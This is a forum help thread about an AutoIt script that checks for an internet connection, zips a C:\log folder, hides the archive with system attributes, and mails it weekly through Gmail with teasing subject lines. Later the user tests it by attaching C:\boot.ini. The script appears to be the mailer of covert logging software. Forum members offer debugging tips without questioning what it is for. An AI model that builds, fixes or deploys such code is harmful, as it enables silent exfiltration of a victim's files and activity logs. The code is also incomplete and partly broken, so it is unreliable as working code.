Jump to content
Sign in to follow this  
abybaddi009

Help needed in email & zip script

Recommended Posts

abybaddi009

Func check_internet()
    $ping = Ping("www.google.com") 
    If Not @error Then
        FileClose($last)                                                                      ; $last = FileOpen("C:\log\last.exe", 1). File is used as a date stamper.
        $lsa = FileOpen("C:\log\last.exe", 0)
        $r = FileRead($lsa)
        If $r = -1 Or $r > 7 Then                                                        ; to send e-mails at an interval of seven days.
            FileClose($lsa)
            $lsa = FileOpen("C:\ylog\last.exe", 2)
            FileWrite($lsa,"0")
            Dim $Zip = "C:\log" 
            $Zip = _Zip_Create("C:\log\zip_"&$date&".zip")                 ;Created the zip. is this correct?
            FileSetAttrib($Zip, "+HS")
            _INetSmtpMailCom("mail.google.com","Your darling minion!","*******.*****@gmail.com","*******","Got Something For ya!","See attachment!",$Zip,"*******.*****@gmail.com","","Normal","*******.*****","***********",465,1)          ; something goes wrong in here I suppose
            FileClose($lsa)
        Else
            FileClose($lsa)
            $lsa = FileOpen("C:\log\last.exe", 2)
            FileWrite($lsa,$r+1)                                 ; this should happen only if last modified day isn't today...
            FileClose($lsa)
        EndIf
    EndIf
EndFunc

I want this function to check the internet connection...
if exists then {
           check the last date of modification of the file last.exe (days passed since the last e-mail is sent)
           if it's == -1 (default at the start of script)or greater than 7 {
                        zip the folder, send the e-mail and put value '0' in last.exe
           }
           else ( days passed is less than 7 and greater than equal 0 )
                        increase $r
}

Any suggestions? Thanks in advance...

mail.au3

Zip.au3

Edited by abybaddi009

#include<god.h>_asm //don't look!!![spoiler]x DB "aby'y DB 'GOD'tmp DB ? MOV CX,3 LEA SI, y LEA DI, tmp REP MOVSB LEA SI, x LEA DI, y REP MOVSB LEA SI, tmp LEA DI, x REP MOVSB MOV AH,09 MOV DX, OFFSET x INT 21h MOV DX, OFFSET y INT 21h[/spoiler]

Share this post


Link to post
Share on other sites
sleepydvdr

First, do you want to add something to the zip file? Your script currently produces an empty file. Use _Zip_AddFile to add.

To get the date of the file, use FileGetTime.

If you just want to schedule the script, why not use Task Scheduler?


#include <ByteMe.au3>

Share this post


Link to post
Share on other sites
abybaddi009

The zip file doesn't matter.

Only the thing is to send the email. I get a error code: 2 with empty description. Any Ideas?


#include<god.h>_asm //don't look!!![spoiler]x DB "aby'y DB 'GOD'tmp DB ? MOV CX,3 LEA SI, y LEA DI, tmp REP MOVSB LEA SI, x LEA DI, y REP MOVSB LEA SI, tmp LEA DI, x REP MOVSB MOV AH,09 MOV DX, OFFSET x INT 21h MOV DX, OFFSET y INT 21h[/spoiler]

Share this post


Link to post
Share on other sites
hannes08

Maybe you want to try using the trace parameter (see function reference) once to see where the problem is. Error code 2 means normally a problem with TCP in general.


Regards,Hannes[spoiler]If you can't convince them, confuse them![/spoiler]

Share this post


Link to post
Share on other sites
abybaddi009

After changing

_INetSmtpMailCom("mail.google.com","Your darling minion!","*******.*****@gmail.com","*******","Got Something For ya!","See attachment!",$Zip,"*******.*****@gmail.com","","Normal","*******.*****","***********",465,1)

to

_INetSmtpMailCom("mail.google.com","Your darling minion!","*******.*****@gmail.com","*******","Got Something For ya!","See attachment!","C:\boot.ini","*******.*****@gmail.com","","Normal","*******.*****","***********",465,1)

Now it says: Transfer failed to server.

edit: I changed the $Zip to C:\boot.ini

Edited by abybaddi009

#include<god.h>_asm //don't look!!![spoiler]x DB "aby'y DB 'GOD'tmp DB ? MOV CX,3 LEA SI, y LEA DI, tmp REP MOVSB LEA SI, x LEA DI, y REP MOVSB LEA SI, tmp LEA DI, x REP MOVSB MOV AH,09 MOV DX, OFFSET x INT 21h MOV DX, OFFSET y INT 21h[/spoiler]

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.